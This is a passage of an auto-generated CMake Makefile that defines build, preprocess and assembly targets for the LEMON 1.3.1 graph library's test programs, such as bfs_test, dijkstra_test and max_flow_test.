test/CMakeFiles/kruskal_test.dir/build.make test/CMakeFiles/kruskal_test.dir/build\n.PHONY : kruskal_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/hao_orlin_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/hao_orlin_test.dir/rule\n.PHONY : test/CMakeFiles/hao_orlin_test.dir/rule\n\n# Convenience name for target.\nhao_orlin_test: test/CMakeFiles/hao_orlin_test.dir/rule\n\n.PHONY : hao_orlin_test\n\n# fast build rule for target.\nhao_orlin_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/hao_orlin_test.dir/build.make test/CMakeFiles/hao_orlin_test.dir/build\n.PHONY : hao_orlin_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/connectivity_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/connectivity_test.dir/rule\n.PHONY : test/CMakeFiles/connectivity_test.dir/rule\n\n# Convenience name for target.\nconnectivity_test: test/CMakeFiles/connectivity_test.dir/rule\n\n.PHONY : connectivity_test\n\n# fast build rule for target.\nconnectivity_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/connectivity_test.dir/build.make test/CMakeFiles/connectivity_test.dir/build\n.PHONY : connectivity_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/bfs_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/bfs_test.dir/rule\n.PHONY : test/CMakeFiles/bfs_test.dir/rule\n\n# Convenience name for target.\nbfs_test: test/CMakeFiles/bfs_test.dir/rule\n\n.PHONY : bfs_test\n\n# fast build rule for target.\nbfs_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/bfs_test.dir/build.make test/CMakeFiles/bfs_test.dir/build\n.PHONY : bfs_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/graph_utils_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/graph_utils_test.dir/rule\n.PHONY : test/CMakeFiles/graph_utils_test.dir/rule\n\n# Convenience name for target.\ngraph_utils_test: test/CMakeFiles/graph_utils_test.dir/rule\n\n.PHONY : graph_utils_test\n\n# fast build rule for target.\ngraph_utils_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/graph_utils_test.dir/build.make test/CMakeFiles/graph_utils_test.dir/build\n.PHONY : graph_utils_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/circulation_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/circulation_test.dir/rule\n.PHONY : test/CMakeFiles/circulation_test.dir/rule\n\n# Convenience name for target.\ncirculation_test: test/CMakeFiles/circulation_test.dir/rule\n\n.PHONY : circulation_test\n\n# fast build rule for target.\ncirculation_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/circulation_test.dir/build.make test/CMakeFiles/circulation_test.dir/build\n.PHONY : circulation_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/max_flow_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/max_flow_test.dir/rule\n.PHONY : test/CMakeFiles/max_flow_test.dir/rule\n\n# Convenience name for target.\nmax_flow_test: test/CMakeFiles/max_flow_test.dir/rule\n\n.PHONY : max_flow_test\n\n# fast build rule for target.\nmax_flow_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/max_flow_test.dir/build.make test/CMakeFiles/max_flow_test.dir/build\n.PHONY : max_flow_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/adaptors_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/adaptors_test.dir/rule\n.PHONY : test/CMakeFiles/adaptors_test.dir/rule\n\n# Convenience name for target.\nadaptors_test: test/CMakeFiles/adaptors_test.dir/rule\n\n.PHONY : adaptors_test\n\n# fast build rule for target.\nadaptors_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/adaptors_test.dir/build.make test/CMakeFiles/adaptors_test.dir/build\n.PHONY : adaptors_test/fast\n\nadaptors_test.o: adaptors_test.cc.o\n\n.PHONY : adaptors_test.o\n\n# target to build an object file\nadaptors_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/adaptors_test.dir/build.make test/CMakeFiles/adaptors_test.dir/adaptors_test.cc.o\n.PHONY : adaptors_test.cc.o\n\nadaptors_test.i: adaptors_test.cc.i\n\n.PHONY : adaptors_test.i\n\n# target to preprocess a source file\nadaptors_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/adaptors_test.dir/build.make test/CMakeFiles/adaptors_test.dir/adaptors_test.cc.i\n.PHONY : adaptors_test.cc.i\n\nadaptors_test.s: adaptors_test.cc.s\n\n.PHONY : adaptors_test.s\n\n# target to generate assembly for a file\nadaptors_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/adaptors_test.dir/build.make test/CMakeFiles/adaptors_test.dir/adaptors_test.cc.s\n.PHONY : adaptors_test.cc.s\n\narc_look_up_test.o: arc_look_up_test.cc.o\n\n.PHONY : arc_look_up_test.o\n\n# target to build an object file\narc_look_up_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/arc_look_up_test.dir/build.make test/CMakeFiles/arc_look_up_test.dir/arc_look_up_test.cc.o\n.PHONY : arc_look_up_test.cc.o\n\narc_look_up_test.i: arc_look_up_test.cc.i\n\n.PHONY : arc_look_up_test.i\n\n# target to preprocess a source file\narc_look_up_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/arc_look_up_test.dir/build.make test/CMakeFiles/arc_look_up_test.dir/arc_look_up_test.cc.i\n.PHONY : arc_look_up_test.cc.i\n\narc_look_up_test.s: arc_look_up_test.cc.s\n\n.PHONY : arc_look_up_test.s\n\n# target to generate assembly for a file\narc_look_up_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/arc_look_up_test.dir/build.make test/CMakeFiles/arc_look_up_test.dir/arc_look_up_test.cc.s\n.PHONY : arc_look_up_test.cc.s\n\nbellman_ford_test.o: bellman_ford_test.cc.o\n\n.PHONY : bellman_ford_test.o\n\n# target to build an object file\nbellman_ford_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/bellman_ford_test.dir/build.make test/CMakeFiles/bellman_ford_test.dir/bellman_ford_test.cc.o\n.PHONY : bellman_ford_test.cc.o\n\nbellman_ford_test.i: bellman_ford_test.cc.i\n\n.PHONY : bellman_ford_test.i\n\n# target to preprocess a source file\nbellman_ford_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/bellman_ford_test.dir/build.make test/CMakeFiles/bellman_ford_test.dir/bellman_ford_test.cc.i\n.PHONY : bellman_ford_test.cc.i\n\nbellman_ford_test.s: bellman_ford_test.cc.s\n\n.PHONY : bellman_ford_test.s\n\n# target to generate assembly for a file\nbellman_ford_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/bellman_ford_test.dir/build.make test/CMakeFiles/bellman_ford_test.dir/bellman_ford_test.cc.s\n.PHONY : bellman_ford_test.cc.s\n\nbfs_test.o: bfs_test.cc.o\n\n.PHONY : bfs_test.o\n\n# target to build an object file\nbfs_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/bfs_test.dir/build.make test/CMakeFiles/bfs_test.dir/bfs_test.cc.o\n.PHONY : bfs_test.cc.o\n\nbfs_test.i: bfs_test.cc.i\n\n.PHONY : bfs_test.i\n\n# target to preprocess a source file\nbfs_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/bfs_test.dir/build.make test/CMakeFiles/bfs_test.dir/bfs_test.cc.i\n.PHONY : bfs_test.cc.i\n\nbfs_test.s: bfs_test.cc.s\n\n.PHONY : bfs_test.s\n\n# target to generate assembly for a file\nbfs_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/bfs_test.dir/build.make test/CMakeFiles/bfs_test.dir/bfs_test.cc.s\n.PHONY : bfs_test.cc.s\n\nbpgraph_test.o: bpgraph_test.cc.o\n\n.PHONY : bpgraph_test.o\n\n# target to build an object file\nbpgraph_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/bpgraph_test.dir/build.make test/CMakeFiles/bpgraph_test.dir/bpgraph_test.cc.o\n.PHONY : bpgraph_test.cc.o\n\nbpgraph_test.i: bpgraph_test.cc.i\n\n.PHONY : bpgraph_test.i\n\n# target to preprocess a source file\nbpgraph_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/bpgraph_test.dir/build.make test/CMakeFiles/bpgraph_test.dir/bpgraph_test.cc.i\n.PHONY : bpgraph_test.cc.i\n\nbpgraph_test.s: bpgraph_test.cc.s\n\n.PHONY : bpgraph_test.s\n\n# target to generate assembly for a file\nbpgraph_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/bpgraph_test.dir/build.make test/CMakeFiles/bpgraph_test.dir/bpgraph_test.cc.s\n.PHONY : bpgraph_test.cc.s\n\ncirculation_test.o: circulation_test.cc.o\n\n.PHONY : circulation_test.o\n\n# target to build an object file\ncirculation_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/circulation_test.dir/build.make test/CMakeFiles/circulation_test.dir/circulation_test.cc.o\n.PHONY : circulation_test.cc.o\n\ncirculation_test.i: circulation_test.cc.i\n\n.PHONY : circulation_test.i\n\n# target to preprocess a source file\ncirculation_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/circulation_test.dir/build.make test/CMakeFiles/circulation_test.dir/circulation_test.cc.i\n.PHONY : circulation_test.cc.i\n\ncirculation_test.s: circulation_test.cc.s\n\n.PHONY : circulation_test.s\n\n# target to generate assembly for a file\ncirculation_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/circulation_test.dir/build.make test/CMakeFiles/circulation_test.dir/circulation_test.cc.s\n.PHONY : circulation_test.cc.s\n\nconnectivity_test.o: connectivity_test.cc.o\n\n.PHONY : connectivity_test.o\n\n# target to build an object file\nconnectivity_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/connectivity_test.dir/build.make test/CMakeFiles/connectivity_test.dir/connectivity_test.cc.o\n.PHONY : connectivity_test.cc.o\n\nconnectivity_test.i: connectivity_test.cc.i\n\n.PHONY : connectivity_test.i\n\n# target to preprocess a source file\nconnectivity_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/connectivity_test.dir/build.make test/CMakeFiles/connectivity_test.dir/connectivity_test.cc.i\n.PHONY : connectivity_test.cc.i\n\nconnectivity_test.s: connectivity_test.cc.s\n\n.PHONY : connectivity_test.s\n\n# target to generate assembly for a file\nconnectivity_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/connectivity_test.dir/build.make test/CMakeFiles/connectivity_test.dir/connectivity_test.cc.s\n.PHONY : connectivity_test.cc.s\n\ncounter_test.o: counter_test.cc.o\n\n.PHONY : counter_test.o\n\n# target to build an object file\ncounter_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/counter_test.dir/build.make test/CMakeFiles/counter_test.dir/counter_test.cc.o\n.PHONY : counter_test.cc.o\n\ncounter_test.i: counter_test.cc.i\n\n.PHONY : counter_test.i\n\n# target to preprocess a source file\ncounter_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/counter_test.dir/build.make test/CMakeFiles/counter_test.dir/counter_test.cc.i\n.PHONY : counter_test.cc.i\n\ncounter_test.s: counter_test.cc.s\n\n.PHONY : counter_test.s\n\n# target to generate assembly for a file\ncounter_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/counter_test.dir/build.make test/CMakeFiles/counter_test.dir/counter_test.cc.s\n.PHONY : counter_test.cc.s\n\ndfs_test.o: dfs_test.cc.o\n\n.PHONY : dfs_test.o\n\n# target to build an object file\ndfs_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/dfs_test.dir/build.make test/CMakeFiles/dfs_test.dir/dfs_test.cc.o\n.PHONY : dfs_test.cc.o\n\ndfs_test.i: dfs_test.cc.i\n\n.PHONY : dfs_test.i\n\n# target to preprocess a source file\ndfs_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/dfs_test.dir/build.make test/CMakeFiles/dfs_test.dir/dfs_test.cc.i\n.PHONY : dfs_test.cc.i\n\ndfs_test.s: dfs_test.cc.s\n\n.PHONY : dfs_test.s\n\n# target to generate assembly for a file\ndfs_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/dfs_test.dir/build.make test/CMakeFiles/dfs_test.dir/dfs_test.cc.s\n.PHONY : dfs_test.cc.s\n\ndigraph_test.o: digraph_test.cc.o\n\n.PHONY : digraph_test.o\n\n# target to build an object file\ndigraph_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/digraph_test.dir/build.make test/CMakeFiles/digraph_test.dir/digraph_test.cc.o\n.PHONY : digraph_test.cc.o\n\ndigraph_test.i: digraph_test.cc.i\n\n.PHONY : digraph_test.i\n\n# target to preprocess a source file\ndigraph_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/digraph_test.dir/build.make test/CMakeFiles/digraph_test.dir/digraph_test.cc.i\n.PHONY : digraph_test.cc.i\n\ndigraph_test.s: digraph_test.cc.s\n\n.PHONY : digraph_test.s\n\n# target to generate assembly for a file\ndigraph_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/digraph_test.dir/build.make test/CMakeFiles/digraph_test.dir/digraph_test.cc.s\n.PHONY : digraph_test.cc.s\n\ndijkstra_test.o: dijkstra_test.cc.o\n\n.PHONY : dijkstra_test.o\n\n# target to build an object file\ndijkstra_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/dijkstra_test.dir/build.make test/CMakeFiles/dijkstra_test.dir/dijkstra_test.cc.o\n.PHONY : dijkstra_test.cc.o\n\ndijkstra_test.i: dijkstra_test.cc.i\n\n.PHONY : dijkstra_test.i\n\n# target to preprocess a source file\ndijkstra_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/dijkstra_test.dir/build.make test/CMakeFiles/dijkstra_test.dir/dijkstra_test.cc.i\n.PHONY : dijkstra_test.cc.i\n\ndijkstra_test.s: dijkstra_test.cc.s\n\n.PHONY : dijkstra_test.s\n\n# target to generate assembly for a file\ndijkstra_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/dijkstra_test.dir/build.make test/CMakeFiles/dijkstra_test.dir/dijkstra_test.cc.s\n.PHONY : dijkstra_test.cc.s\n\ndim_test.o: dim_test.cc.o\n\n.PHONY : dim_test.o\n\n# target to build an object file\ndim_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/dim_test.dir/build.make test/CMakeFiles/dim_test.dir/dim_test.cc.o\n.PHONY : dim_test.cc.o\n\ndim_test.i: dim_test.cc.i\n\n.PHONY : dim_test.i\n\n# target to preprocess a source file\ndim_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/dim_test.dir/build.make test/CMakeFiles/dim_test.dir/dim_test.cc.i\n.PHONY : dim_test.cc.i\n\ndim_test.s: dim_test.cc.s\n\n.PHONY : dim_test.s\n\n# target to generate assembly for a file\ndim_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/dim_test.dir/build.make test/CMakeFiles/dim_test.dir/dim_test.cc.s\n.PHONY : dim_test.cc.s\n\nedge_set_test.o: edge_set_test.cc.o\n\n.PHONY : edge_set_test.o\n\n# target to build an object file\nedge_set_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/edge_set_test.dir/build.make test/CMakeFiles/edge_set_test.dir/edge_set_test.cc.o\n.PHONY : edge_set_test.cc.o\n\nedge_set_test.i: edge_set_test.cc.i\n\n.PHONY : edge_set_test.i\n\n# target to preprocess a source file\nedge_set_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/edge_set_test.dir/build.make test/CMakeFiles/edge_set_test.dir/edge_set_test.cc.i\n.PHONY : edge_set_test.cc.i\n\nedge_set_test.s: edge_set_test.cc.s\n\n.PHONY : edge_set_test.s\n\n# target to generate assembly for a file\nedge_set_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/edge_set_test.dir/build.make test/CMakeFiles/edge_set_test.dir/edge_set_test.cc.s\n.PHONY : edge_set_test.cc.s\n\nerror_test.o: error_test.cc.o\n\n.PHONY : error_test.o\n\n# target to build an object file\nerror_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/error_test.dir/build.make test/CMakeFiles/error_test.dir/error_test.cc.o\n.PHONY : error_test.cc.o\n\nerror_test.i: error_test.cc.i\n\n.PHONY : error_test.i\n\n# target to preprocess a source file\nerror_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/error_test.dir/build.make test/CMakeFiles/error_test.dir/error_test.cc.i\n.PHONY : error_test.cc.i\n\nerror_test.s: error_test.cc.s\n\n.PHONY : error_test.s\n\n# target to generate assembly for a file\nerror_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/error_test.dir/build.make test/CMakeFiles/error_test.dir/error_test.cc.s\n.PHONY : error_test.cc.s\n\neuler_test.o: euler_test.cc.o\n\n.PHONY : euler_test.o\n\n# target to build an object file\neuler_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/euler_test.dir/build.make test/CMakeFiles/euler_test.dir/euler_test.cc.o\n.PHONY : euler_test.cc.o\n\neuler_test.i: euler_test.cc.i\n\n.PHONY : euler_test.i\n\n# target to preprocess a source file\neuler_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/euler_test.dir/build.make test/CMakeFiles/euler_test.dir/euler_test.cc.i\n.PHONY : euler_test.cc.i\n\neuler_test.s: euler_test.cc.s\n\n.PHONY : euler_test.s\n\n# target to generate assembly for a file\neuler_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/euler_test.dir/build.make test/CMakeFiles/euler_test.dir/euler_test.cc.s\n.PHONY : euler_test.cc.s\n\nfractional_matching_test.o: fractional_matching_test.cc.o\n\n.PHONY : fractional_matching_test.o\n\n# target to build an object file\nfractional_matching_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/fractional_matching_test.dir/build.make test/CMakeFiles/fractional_matching_test.dir/fractional_matching_test.cc.o\n.PHONY : fractional_matching_test.cc.o\n\nfractional_matching_test.i: fractional_matching_test.cc.i\n\n.PHONY : fractional_matching_test.i\n\n# target to preprocess a source file\nfractional_matching_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/fractional_matching_test.dir/build.make test/CMakeFiles/fractional_matching_test.dir/fractional_matching_test.cc.i\n.PHONY : fractional_matching_test.cc.i\n\nfractional_matching_test.s: fractional_matching_test.cc.s\n\n.PHONY : fractional_matching_test.s\n\n# target to generate assembly for a file\nfractional_matching_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/fractional_matching_test.dir/build.make test/CMakeFiles/fractional_matching_test.dir/fractional_matching_test.cc.s\n.PHONY : fractional_matching_test.cc.s\n\ngomory_hu_test.o: gomory_hu_test.cc.o\n\n.PHONY : gomory_hu_test.o\n\n# target to build an object file\ngomory_hu_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/gomory_hu_test.dir/build.make test/CMakeFiles/gomory_hu_test.dir/gomory_hu_test.cc.o\n.PHONY : gomory_hu_test.cc.o\n\ngomory_hu_test.i: gomory_hu_test.cc.i\n\n.PHONY : gomory_hu_test.i\n\n# target to preprocess a source file\ngomory_hu_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/gomory_hu_test.dir/build.make test/CMakeFiles/gomory_hu_test.dir/gomory_hu_test.cc.i\n.PHONY : gomory_hu_test.cc.i\n\ngomory_hu_test.s: gomory_hu_test.cc.s\n\n.PHONY : gomory_hu_test.s\n\n# target to generate assembly for a file\ngomory_hu_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/gomory_hu_test.dir/build.make test/CMakeFiles/gomory_hu_test.dir/gomory_hu_test.cc.s\n.PHONY : gomory_hu_test.cc.s\n\ngraph_copy_test.o: graph_copy_test.cc.o\n\n.PHONY : graph_copy_test.o\n\n# target to build an object file\ngraph_copy_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/graph_copy_test.dir/build.make test/CMakeFiles/graph_copy_test.dir/graph_copy_test.cc.o\n.PHONY : graph_copy_test.cc.o\n\ngraph_copy_test.i: graph_copy_test.cc.i\n\n.PHONY : graph_copy_test.i\n\n# target to preprocess a source file\ngraph_copy_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/graph_copy_test.dir/build.make test/CMakeFiles/graph_copy_test.dir/graph_copy_test.cc.i\n.PHONY : graph_copy_test.cc.i\n\ngraph_copy_test.s: graph_copy_test.cc.s\n\n.PHONY : graph_copy_test.s\n\n# target to generate assembly for a file\ngraph_copy_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/graph_copy_test.dir/build.make test/CMakeFiles/graph_copy_test.dir/graph_copy_test.cc.s\n.PHONY : graph_copy_test.cc.s\n\ngraph_test.o: graph_test.cc.o\n\n.PHONY : graph_test.o\n\n# target to build an object file\ngraph_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/graph_test.dir/build.make test/CMakeFiles/graph_test.dir/graph_test.cc.o\n.PHONY : graph_test.cc.o\n\ngraph_test.i: graph_test.cc.i\n\n.PHONY : graph_test.i\n\n# target to preprocess a source file\ngraph_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/graph_test.dir/build.make test/CMakeFiles/graph_test.dir/graph_test.cc.i\n.PHONY : graph_test.cc.i\n\ngraph_test.s: graph_test.cc.s\n\n.PHONY : graph_test.s\n\n# target to generate assembly for a file\ngraph_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/graph_test.dir/build.make test/CMakeFiles/graph_test.dir/graph_test.cc.s\n.PHONY : graph_test.cc.s\n\ngraph_utils_test.o: graph_utils_test.cc.o\n\n.PHONY : graph_utils_test.o\n\n# target to build an object file\ngraph_utils_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/graph_utils_test.dir/build.make test/CMakeFiles/graph_utils_test.dir/graph_utils_test.cc.o\n.PHONY : graph_utils_test.cc.o\n\ngraph_utils_test.i: graph_utils_test.cc.i\n\n.PHONY : graph_utils_test.i\n\n# target to preprocess a source file\ngraph_utils_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/graph_utils_test.dir/build.make test/CMakeFiles/graph_utils_test.dir/graph_utils_test.cc.i\n.PHONY : graph_utils_test.cc.i\n\ngraph_utils_test.s: graph_utils_test.cc.s\n\n.PHONY : graph_utils_test.s\n\n# target to generate assembly for a file\ngraph_utils_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/graph_utils_test.dir/build.make test/CMakeFiles/graph_utils_test.dir/graph_utils_test.cc.s\n.PHONY : 